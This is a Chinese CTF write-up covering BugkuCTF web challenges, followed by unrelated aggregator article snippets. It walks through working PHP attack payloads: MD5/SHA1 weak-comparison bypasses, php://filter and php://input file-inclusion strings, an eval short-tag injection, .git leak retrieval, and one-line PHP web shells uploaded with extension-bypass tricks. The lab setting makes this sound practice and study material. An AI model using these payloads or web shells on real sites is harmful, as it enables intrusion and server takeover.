bugkuctf web随记wp

常规思路:

1,源码2,抓包3,御剑+dirsearch扫后台检查是否有git文件未删除4,参数

本地管理员:1,c+u看源码,s+c+i看源码有一串东西2,base64解码后是test123猜测是密码3,抓包把admin和test123放上去,由于提示了是本地管理员,所以在包里加一行x-forwarded-for:127.0.0.1声明自己是host本地地址

Game:1,边玩游戏边抓包2,包里有score和sign,其中sign很像base64但是有三个=,可能是base32或者base64+=或者==构造的,后面发现sign是zM+base64编码的分数+==构造的,sign是分数的密文3,把分数明文密文改成一致且分数改高发包即可返回flag

备份是个好习惯:

1,扫后台有index.php.bak的文件,或者提示了备份可以尝试index_bak.php或者index.php.bak这两个名字

2,文件删掉bak后缀,用notepad打开代码审计,是MD5弱类型比较

Strstr截取?和?之后的字符串;substr()返回从$str[1]开始的字符串(等于是去掉了?);str_replace()把key替换为空;parse_str()把字符串解析到变量中,parse_str(‘a=1&b=2’)等价于$a=1;$b=2;

3,MD5绕过MD5绕过的技巧_md5强类型绕过-CSDN博客 

MD5值以0e开头的字符串弱类型比较会被认为科学计数法,以此绕过,如

s878926199a s155964671a (双重MD5绕过CbDLytmyGm2xQyaLNhWn,

770hQgrBOjrcqftrlaZk,7r4lGXCH2Ksu2JNT3BYM)

MD5处理不了数组会返回FALSE,两个FALSE等价 payload:?kekeyy1[]=1&kekeyy2[]=2

eval:include函数,怀疑存在文件包含漏洞,再看题目的eval函数得知存在代码执行的漏洞,可以结合二者,将flag.php的信息获取传递给参数a的值进行代码执行输出flag。即?hello=file('flag.php')(图里边的flag不是真的)

变量:

error_reporting(0);//关闭PHP错误显示;

include "flag1.php";// 引入flag1.php文件代码

highlight_file(__file__);//对文件进行语法高亮显示

if(isset($_GET['args'])){//判断url直接定义的args是否存在

$args = $_GET['args'];//将GET赋值的args赋值给变量$args

if(!preg_match("/^\w+$/",$args)){// /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾

die("args error!");//输出 args error!

}

eval("var_dump($$args);");//此函数显示一个或多个表达式的信息,包括表达式的类型与值

Source:git泄露1,御剑和gobuster扫描(gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt),gobuster扫出git文件,wget -r http://114.67.246.176:10491/.git递归下载所有文件夹和文件,git reflog查看版本日志,git show不断往下翻

1,file=/etc/passwd能爆出数据说明有文件包含漏洞

  1. ?file=php://filter/read=convert.base64-encode/resource=index.php
  2. Base64解码

Cookies:

1,首先观察到filename后面是base64编码

解码后:

2,尝试把keys.txt改成index.php,将其编码替换,line的值改动发现有代码,代码审计时间到

    <?php

    error_reporting(0);

    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

    $line=isset($_GET['line'])?intval($_GET['line']):0;

    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

    $file_list = array(

    '0' =>'keys.txt',

    '1' =>'index.php',

    ); 

    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

    $file_list[2]='keys.php';    

    }

    if(in_array($file, $file_list)){

    $fa = file($file);

    echo $fa[$line];

    }

?>

分析源代码,当cookie的margin=margin时,可以访问一个keys.php文件

filename的值改为base64加密后的keys.php

3,抓包改cookie改filename,回显出flag

never_give_up:

 1,id参数换来换去没用,看源码有一个1p.html的文件,如果把hello.php改成手打的1p.html会重定向到bugku首页,改成复制于源码的就能正常跳转到新代码

2,把中间那串东西url解码,再base64解码,再把一段东西url解码(直接丢给GPT分析也行但是也别太信,一开始GPT没分析出还有段url解码,还得是自己动手)

  1. 分析代码

<?PHP

if(!$_GET['id'])//GET方法获得id的值

{

header('Location: hello.php?id=1');

exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))//如果a中有'.'就返回('.'貌似没有绕过的方法)因此用a传入文件基本是死路一条

{

echo 'no no no no no no no';

return ;

}

$data = @file_get_contents($a,'r');//以只读的方式获得a传入文件的信息

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

$flag = "flag{***********}"

}

else

{

print "never never never give up !!!";

}

?>

  1. 有flag出现的条件:data=="bugku is a nice plateform!" ,id==0,b的长度>5,第一位可以加在111后匹配1114,并且第一位又不是4

php://input 是个可以访问请求的原始数据的只读流,只需在数据流中写入要读取的内容即可

弱比较0的绕过可以换成1,字符串2,科学计数法0e1111

ereg() 函数或 eregi() 函数存在空字符截断漏洞,eregi是正则匹配函数,第一个参数是pattern,第二个参数是要匹配的内容

两种绕过方式:1.利用该函数的空截断漏洞,开头就是\x00,后面不管是什么都会匹配成功,后端得到的是\x00,这中间还有个解码过程,因此要对\x00进行url编码为%00,如果用这种方法b要在最后,不然过早把\x00放入会把a也截断

  1. 正则匹配为真就行,b等于*123456 ?123456 +123456这些

记得把GET改为POST

过狗一句话:

1,GPT分析题目给的代码

xxx二手市场:

  1. sql注入行不通,登录也正常,后面在上传头像的地方做手脚

  1. 把image里base64后面的东西全删了换成一句话木马,image/jpeg换成image/php,php作为文件后缀,后面的东西看上去都base64了,所以木马也要base64

3,回显里data那里把\删掉,用靶场url地址+这串删掉\的东西,蚁剑链接这串地址(http://题目地址/Uploads/heads/60eb9069c88e6624.php),然后在html目录下翻出flag

轻轻晕倒:

不知道,把答案copy过来可能以后就知道了。哈哈。

一、目标是输出flag变量,所以flag就在flag变量里面,输出条件有三个

1,flag变量长度等于$exam的长度,长度为49

2,flag变量不能包含` , “ , . , \ , ( , ) , [ , ] , _ , flag , echo , print , require , include , die , exit ;

3,eval($_GET[‘flag’]) === sha1($flag)

前面两个条件好绕过,就是第三个条件比较麻烦

我们可以利用php短标签来绕过

*   <? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>,当PHP不支持使用短标签时,请到PHP的安装目录下找到PHP.INI文件:short_open_tag=On。php5默认的标记为<?php ?>              二、直接利用eval输出$flag变量的值,payload为?flag=$a='dlag';$a{0}='f';?>11111111111111111;<?=$$a;?>,其中?>用于闭合开头的<?php 标记,111…111是用来填充长度的。直接输出flag变量中的flag值,不需要再和sha1($flag)比较。

想死。

速度要快:1,源码里说把找到的东西传参给margin然后以post形式提交2,抓包看见返回的请求头里有flag后面跟着base64编码,解码后还有一个,再解码后剩下一串数字 3,第二次抓包后请求头flag变了,解码两次后数字又变了,所以应该是快速解码然后快速post提交4,写脚本,不会写,抄的。

前女友:MD5绕过,但是不知道为什么v3不等于flag的话为什么一定得是个数组

1,网页只有字,查看源码发现code.txt

2,要求v3不等于flag值,v1!=v2但是需要MD5值相同,可以数组绕过或者

3,但是v3只能数组绕过别的不行

SQL约束攻击:

懒得写,截图

你来自哪里:

看题目知道是抓包改Referer:https://www.google.com

各种绕过哟:

  1. 代码首先调用 highlight_file() 函数来显示名为 "flag.php" 的文件的源代码。接下来,代码将 GET 参数 id 进行 URL 解码,并赋值给 $_GET['id']。然后,定义了一个变量 $flag,并给它赋了一个字符串值。

条件:当uname 不等于 passwd,且 uname 和 passwd 的sha1()哈希值相等,且 id 的值等于 "margin"),则会输出 $flag 的值

Sha1()绕过:1,和MD5一样数组绕过2,10932435112,aaroZmOk,aaK1STfY

2,Content-Type: application/x-www-form-urlencoded 用于指示请求体中的数据是经过 URL 编码格式(key1=value1&key2=value2)的表单数据。其通常是通过 POST 方法向服务器提交表单数据。在这种情况下,请求体中的数据会被编码成键值对的形式,并以 & 符号分隔。bp包里面必须得加上这段(为了对应上id也得url编码吗?),且get改post

文件包含:

  1. 要求ac和fn的值一样
  2. 抓包 ?ac=1&fn=php://input  post传值1

文件上传:

上传一句话木马,抓包,改Content-Type:为image/jpeg,把filename="1.php"改成filename="1.php4"(php2,php3,php4,php5,php6,php7,phps,phpt,phtml,phtm,Php,php:.jpg)

一般都是/upload查找含有的文件访问,原URL/upload/filename

蚁剑连找flag文件

上传图片马,抓包改为php后缀

死文件包含2加密脚本 需要倒着写解密

<?php

function encrypt($data,$key)

{

    $key = md5('ISCC');

    $x = 0;

    $len = strlen($data);

    $klen = strlen($key);

    for ($i=0; $i < $len; $i++) {

        if ($x == $klen)

        {

            $x = 0;

        }

        $char .= $key[$x];

        $x+=1;

    }

    for ($i=0; $i < $len; $i++) {

        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);

    }

    return base64_encode($str);

}

?>

文件包含2:

1,看源码有提示upload.php,打开发现可以上传图片,上传一句话木马,把filename那里改成1.php:.jpg

<?php和?>被过滤了,换成plus.php即另一个绕过的木马<script language=php>echo 'a'; eval($_POST['a']);</script>,页面显示a即成功。蚁剑链接

好像需要管理员:

  1. 蚁剑扫出robots.txt 打开发现有个resusl.php的提示,打开resusl.php显示我不是管理员。如果x参数等于密码就发金水,所以直接抓包爆破

2,然后最后试到密码是admin,回显出flag

点login没反应:

  1. 看源码admin.css是超链接,点一下

2,源码出现,当cookie反序列化后强等于$KEY时,flag出现

$_COOKIE [ ] 数组:可以读取Cookie变量的值

3,把那串东西序列化

  1. 可以从上面的代码知道调用的 cookie 名称为 BUGKU,抓包把cookie那一栏直接换成BUGKU=s:13:"ctf.bugku.com";(而不是放在下面!!下面是post)

直接text=不行的话就data

?text=data://text/plain,welcome to the zjctf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/222643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT热门项目

1.智能GPT 项目地址&#xff1a;智能GPT&#xff1a;你只要提供OpenAI的API Key&#xff0c;那么它就可以根据你设定的目标&#xff0c;采用Google搜索、浏览网站、执行脚本等方式 主要语言&#xff1a;Python 推荐理由&#xff1a;这是由开发者Significant Gravitas推出的项目…

103基于matlab的极限学习机(ELM)和改进的YELM和集成极限学习机(EELM)是现在流行的超强学习机

基于matlab的极限学习机&#xff08;ELM&#xff09;和改进的YELM和集成极限学习机(EELM)是现在流行的超强学习机&#xff0c;该程序是三者的方法比对。 包括学习时间&#xff0c;训练精度和测试精度的对比。数据可更换自己 的&#xff0c;程序已调通&#xff0c;可直接运行…

SpringBoot之数组,集合,日期参数的详细解析

1.4 数组集合参数 数组集合参数的使用场景&#xff1a;在HTML的表单中&#xff0c;有一个表单项是支持多选的(复选框)&#xff0c;可以提交选择的多个值。 多个值是怎么提交的呢&#xff1f;其实多个值也是一个一个的提交。 后端程序接收上述多个值的方式有两种&#xff1a; 数…

MacOS升级指定的系统

问题描述&#xff1a; Mac升级系统&#xff0c;如果使用默认推送的升级可能会升级到最新 的版本&#xff0c;那么怎样才能升级制定的系统呢&#xff1f;1. 搜索“macOS安装器” 2. 点击“使用App store 或浏览器下载macOS安装器” 3. 选择需要的系统&#xff0c;使用App Store …

飞天使-docker知识点5-资源限制与容器的不同状态

文章目录 cpu和内存的限制内存限制的部分参数容器的不同状态docker images 的分层docker registry制作镜像 cpu和内存的限制 默认情况下&#xff0c;容器没有资源限制&#xff0c;可以使用主机内核调度程序允许的尽可能多的 给定资源&#xff0c;Docker 提供了控制容器可以限制…

JavaWeb项目中已经导入依赖却报错依赖不存在

问题描述 在使用 Maven Servlet Tomcat 来搭建 JavaWeb 项目时&#xff0c;在 pom.xml 中正确引入了依赖&#xff0c;编码过程中也能够正常使用。但是在启动 Tomcat 之后&#xff08;启动时或启动后&#xff09;&#xff0c;却报错显示该依赖不存在。 可能原因 pom.xml 的…

品牌如何做好软文营销?媒介盒子分享

许多公司在做软文营销时&#xff0c;试图通过运营不同平台来扩大其覆盖范围&#xff0c;他们希望通过这种方式触达更多受众&#xff0c;然而如果品牌软文没有质感&#xff0c;就会被用户抛弃。今天媒介盒子就来和大家聊聊&#xff1a;品牌方做内容时如何加强质感。 一、 营销需…

12.14_黑马数据结构与算法笔记Java

目录 120 二叉搜索树 min max 121 二叉搜索树 put 122 二叉搜索树 前任后任1 123 二叉搜索树 前任后任2 124 二叉搜索树 删除1 125 二叉搜索树 删除2 126 二叉搜索树 删除3 127 二叉搜索树 删除 递归1 128 二叉搜索树 删除 递归2 129 二叉搜索树 范围查询 130 二叉搜…

【超图】SuperMap iClient3D for WebGL/WebGPU —— 单体gltf模型与Blender中的方向对应关系

作者&#xff1a;taco 在很多包含动画的场景中&#xff0c;像模拟小人的行走、模拟火车的轨迹运行&#xff0c;又或者是模拟风力发电等等等。我们通常会加一些动画模型到里面。而有的时候可能会出现&#xff0c;这火车怎么倒着走啊&#xff01;这人怎么头朝下啊。这种方向的问题…

WPS Office JS宏实现Excel转换为JSON格式数据

通过Excel JS宏&#xff0c;将表格中的数据以”列“形式导出为JSON数据格式。 我们在整理文档时&#xff0c;产品会通过Excel将功能点和功能描述分层级整理出来&#xff0c;有时需要将此数据导入到系统中&#xff0c;Web端对Json这类数据比较友好&#xff0c;所以这里试着使用E…

设计模式——代理模式(Proxy Pattern)

概述 代理模式是指为其他对象提供一种代理&#xff0c;以控制对这个对象的访问。代理对象在访问对象和目标对象之间起到中介作用。代理对象也可以在不修改目标对象的前提下&#xff0c;提供额外的功能操作&#xff0c;拓展目标对象的功能&#xff0c;比如说在目标对象的某个方法…

【Docker】进阶之路:(十二)Docker Composer

【Docker】进阶之路&#xff1a;&#xff08;十二&#xff09;Docker Composer Docker Compose 简介安装 Docker Compose模板文件语法docker-compose.yml 语法说明imagecommandlinksexternal_linksportsexposevolumesvolunes_fromenvironmentenv_fileextendsnetpiddnscap_add,c…

7+PPI+机器学习+实验,非肿瘤结合建模筛选生物标志物,可升级

今天给同学们分享一篇生信文章“Identification of diagnostic biomarkers and therapeutic targets in peripheral immune landscape from coronary artery disease”&#xff0c;这篇文章发表在J Transl Med期刊上&#xff0c;影响因子为7.4。 结果解读&#xff1a; 外周血中…

构建外卖小程序:技术代码实践

在这个数字化的时代&#xff0c;外卖小程序已经成为餐饮业的一项重要工具。在本文中&#xff0c;我们将通过一些简单而实用的技术代码&#xff0c;向您展示如何构建一个基本的外卖小程序。我们将使用微信小程序平台作为例子&#xff0c;但这些原理同样适用于其他小程序平台。 …

Android其他组件(单选框)

一、单选框&#xff08;RadioGroup&#xff09; 单选框&#xff08;RadioGroup&#xff09;需要配合单选按钮&#xff08;RadioButton&#xff09;使用&#xff0c;同一个单选框中的单选按钮只能被选中一个&#xff0c;默认是一个都不选中。 RadioGroup的常见属性&#xff08…

华为配置本地端口镜像示例(1:1)

图1 配置本地端口镜像组网图 组网需求 如图1所示&#xff0c;某公司行政部通过Switch与外部Internet通信&#xff0c;监控设备Server与Switch直连。 现在希望通过Server对行政部访问Internet的流量进行监控 配置思路 在Switch进行如下配置&#xff0c;实现Server对所有行政…

VS的python没有pandas(VS连接mysql数据库)

import pandas as pd from sqlalchemy import create_engine# 初始化数据库连接 engine create_engine(mysqlpymysql://root:556localhost:3306/仓库)sql_chaSELECT * FROM 库房 print(sql_cha) df_read pd.read_sql_query(sql_cha, engine); print(df_read);VS连接mysql如上…

【通俗易懂】基于fabric8io操作k8s集群实战(pod、deployment、service、volume)

目录 前言一、基于fabric8io操作pod1.1 yaml创建pod1.2 fabric8io创建pod案例 二、基于fabric8io创建Service&#xff08;含Deployment&#xff09;2.1 yaml创建Service和Deployment2.2 fabric8io创建service案例 三、基于fabric8io操作Volume3.1 yaml配置挂载存储卷3.2 基于fa…

【超图】SuperMap iClient3D for WebGL/WebGPU ——暴雪

作者&#xff1a;taco 时隔多年北京又开始降下了特大暴雪。身为打工人的你有没有居家办公呢&#xff1f;反正小编我是没有。既然没有借着暴雪的功劳居家办公&#xff0c;那就接着雪来输出一篇博客好了。基于SuperMap iClient3D for WebGL/WebGPU 实现暴雪仿真效果。 先来看下效…

threejs ShapeGeometry 自定义贴图的uv坐标

问题描述&#xff1a; 由于一些原因&#xff0c;要绘制一个长方形&#xff0c;但是这个长方形并不是 PlaneGeometry&#xff0c;而是一个ShapeGeometry。但是同样的贴图&#xff0c;同样的形状&#xff0c;贴图贴在PlaneGeometry上时可以正常显示&#xff0c;但是贴在ShapeGeo…